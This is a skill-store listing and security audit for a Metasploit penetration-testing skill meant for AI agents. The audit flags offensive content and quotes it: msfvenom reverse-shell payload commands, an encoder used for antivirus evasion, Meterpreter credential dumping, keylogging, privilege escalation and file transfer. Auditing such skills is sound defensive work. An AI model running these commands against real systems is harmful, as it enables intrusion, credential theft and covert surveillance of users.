Skills metasploit-framework
๐Ÿ“ฆ

metasploit-framework

Content revision r2 Critical โš™๏ธ External commands๐ŸŒ Network access๐Ÿ“ Filesystem access

Plan Authorized Metasploit Assessments

Security teams need a structured reference for complex Metasploit workflows. This skill organizes module selection, payload handling, sessions, post-exploitation, and reporting for authorized assessments.

Supports: Claude Codex Code(CC)
โš ๏ธ 38 Poor

Install with my Agent

Copy this request to your Agent. It includes the canonical Skill page and manifest.

Agent request
Review the Skillstore skill "metasploit-framework" from https://skillstore.io/skills/sickn33-metasploit-framework.md and its manifest at https://skillstore.io/api/skills/sickn33-metasploit-framework/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.

Your Agent should still show its plan and request any confirmation required by the security policy.

Agent-readable resources

Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.

Test it

Using "metasploit-framework". Explain how to prepare before validating a vulnerability in a lab.

Expected outcome:

  • Confirm the exact lab target and written scope.
  • Record versions, network boundaries, snapshots, and stop conditions.
  • Prefer a non-destructive check before any exploit attempt.
  • Collect minimal evidence and restore the environment afterward.

Using "metasploit-framework". Summarize the risks of the documented post-exploitation phase.

Expected outcome:

The phase can access files, credentials, screens, processes, and network routes. These actions require explicit scope, data controls, monitoring, and cleanup.

Security Audit

Critical
v5 โ€ข 8/4/2026 Open versioned report

Markdown formatting and private example addresses caused many false positives, but the skill contains extensive actionable offensive guidance. Confirmed risks include exploitation, payload generation, keylogging, credential access, persistence, defense evasion, file transfer, network scanning, and privileged setup.

1
Files scanned
497
Lines analyzed
3
Review items
0
False positives ignored

Confirmed security concerns (60)

Critical
Keylogger keywords
# Screenshots and Keylogging
The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information.
Critical
Keylogger keywords
| `keyscan_start` | Start keylogger |
The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information.
Critical
Metasploit framework
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation t
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
windows/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
linux/x86/meterpreter/bind_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Show all 60 confirmed findings
Critical
Metasploit framework
php/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
java/meterpreter/reverse_https
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
android/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
### Phase 6: Meterpreter Session
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
Work with Meterpreter post-exploitation:
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
# After successful exploitation, you get Meterpreter prompt
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > sysinfo
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > getuid
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > getpid
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > pwd
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > ls
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > cd C:\\Users
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > download file.txt /tmp/
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > upload /tmp/tool.exe C:\\
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > ps
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > migrate [PID]
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > kill [PID]
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > ipconfig
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > netstat
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > route
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > getsystem
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > getprivs
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > hashdump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > run post/windows/gather/credentials/credential_collector
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > screenshot
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > keyscan_start
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > keyscan_dump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > keyscan_stop
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > shell
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > background
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
meterpreter > run post/windows/gather/hashdump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Metasploit framework
[*] Meterpreter session 1 opened
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Critical
Post-Compromise Persistence Guidance
The skill recommends Windows executable persistence and Linux SSH-key persistence modules. These actions maintain unauthorized access after initial compromise.
The section is explicitly labeled persistence and names two operational persistence modules. The intent and capability are direct.
Critical
Security Control Evasion Guidance
The skill recommends evasion modules, encoded payloads, and avoiding monitoring detection. This guidance helps payloads bypass defensive controls.
The source explicitly says to bypass security controls, evade antivirus, and avoid detection. It also supplies encoder and evasion-module directions.
High
Screen capture upload
| `screenshot` | Capture screen |
The command reference explicitly directs Meterpreter to capture the compromised system screen. This can collect sensitive user and application data.
High
Network scanning tools
| `db_nmap` | Run nmap with database |
The reference explicitly recommends `db_nmap`, which performs active network scanning and stores results in the Metasploit database.
High
Credential Brute Force Workflow
The skill configures SSH login attempts with username and password wordlists. This enables automated credential attacks beyond defensive vulnerability review.
The named SSH login module and both credential wordlists clearly establish brute-force intent. The workflow ends with an instruction to run the attack.
Low
System reconnaissance
meterpreter > getuid
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
Low
System reconnaissance
meterpreter > getpid
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
Low
System reconnaissance
C:\Windows\system32> whoami
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
Low
Network reconnaissance
meterpreter > netstat
The Meterpreter `netstat` command enumerates network connections on a compromised host. This is genuine post-exploitation network reconnaissance.
Capability review items (3)

These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.

High
sudo privilege escalation
| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
The troubleshooting table explicitly instructs users to run `sudo msfdb init`. This requests privileged host changes and contradicts the earlier claim that privileged setup is unnecessary.
High
Temp directory access
meterpreter > download file.txt /tmp/
This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment.
High
Temp directory access
meterpreter > upload /tmp/tool.exe C:\\
This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment.

Detected Patterns

Keylogger keywordsร—2Screen capture uploadMetasploit frameworkร—49System reconnaissanceร—3Network reconnaissanceNetwork scanning tools
Audited by: codex View Audit History โ†’
Share & cite this report

Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.

Open versioned report
Security Assessment

Copy report link

https://skillstore.io/skills/sickn33-metasploit-framework/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_report

Markdown badge

[![Skillstore security assessment](https://skillstore.io/badges/skills/sickn33-metasploit-framework/security.svg)](https://skillstore.io/skills/sickn33-metasploit-framework?utm_source=security_passport_badge)

HTML badge

<a href="https://skillstore.io/skills/sickn33-metasploit-framework?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-metasploit-framework/security.svg" alt="Skillstore security assessment" loading="lazy"></a>

Embed card

<iframe src="https://skillstore.io/embed/skills/sickn33-metasploit-framework.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>
Academic citations (APA ยท BibTeX ยท CFF)

APA citation

zebbern. (2026). metasploit-framework security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-metasploit-framework/audits/5

BibTeX citation

@techreport{zebbern-sickn33-metasploit-framework-2026, author = {zebbern}, title = {metasploit-framework security audit report (audit version 5)}, institution = {Skillstore}, year = {2026}, number = {5}, url = {https://skillstore.io/skills/sickn33-metasploit-framework/audits/5}, note = {Author version unspecified} }

CITATION.cff

cff-version: 1.2.0 message: "If you use this Skill, cite its author and this versioned security audit report." title: "metasploit-framework security audit report (audit version 5)" version: "unspecified" type: report authors: - name: "zebbern" date-released: "2026-08-04" url: "https://skillstore.io/skills/sickn33-metasploit-framework/audits/5" identifiers: - type: other value: "skillstore:sickn33-metasploit-framework:audit:5" description: "Skillstore immutable audit report identifier"

Skillstore Score

Why this score Evidence Confidence: Medium
55
Architecture
85
Maintainability
87
Content
69
Community
83
Spec Compliance

What You Can Build

Prepare a Controlled Lab

Review module categories and build a disposable environment before any authorized test.

Structure an Assessment

Organize module research, option validation, evidence collection, and cleanup within written scope.

Review Test Coverage

Compare planned validation activities with approved rules of engagement and defensive monitoring.

Try These Prompts

Learn the Module Types
Explain Metasploit module categories for a beginner. Use conceptual examples only and do not provide commands that affect a target.
Plan a Safe Lab
Create a checklist for an isolated Metasploit training lab. Include authorization, snapshots, network isolation, evidence handling, and cleanup.
Review an Authorized Scope
Review this written assessment scope: [scope]. Identify permitted targets, prohibited actions, confirmation gates, evidence requirements, and stop conditions.
Design Defensive Validation
Design a non-destructive validation plan for [CVE] in [lab environment]. Include prerequisites, safe checks, monitoring, rollback, and reporting criteria.

Best Practices

  • Use only isolated systems covered by current written authorization.
  • Show every target-changing command and obtain explicit confirmation before execution.
  • Minimize collected data, preserve evidence, and remove test artifacts after validation.

Avoid

  • Do not test public or third-party systems without explicit written permission.
  • Do not use keylogging, credential dumping, persistence, or evasion outside approved research.
  • Do not replace target placeholders until scope and network boundaries are verified.

Frequently Asked Questions

Does this skill install Metasploit?
No. It assumes Metasploit is already installed and refers users to platform documentation.
Can this skill verify my authorization?
No. The user and assessment owner must establish written permission and exact scope.
Is this suitable for production systems?
Only under a formal engagement with approved actions, backups, monitoring, and stop conditions.
Does it include active exploitation instructions?
Yes. It documents exploit execution, payloads, handlers, and post-exploitation commands.
What data could the workflows access?
They can access credentials, files, screenshots, keystrokes, processes, and network information.
What is the safest learning environment?
Use a disposable, isolated lab with snapshots, synthetic data, and no route to production networks.

Developer Details

Author

zebbern

License

MIT

Skillstore revision

r2

Version notice

The author did not declare a version.

Ref

81e05e636292629114b76cbb3922fbe57672fc02

Maintenance freshness

8/5/2026

Usage

9 downloads ยท 144 views

File structure

๐Ÿ“„ SKILL.md

More from zebbern

View all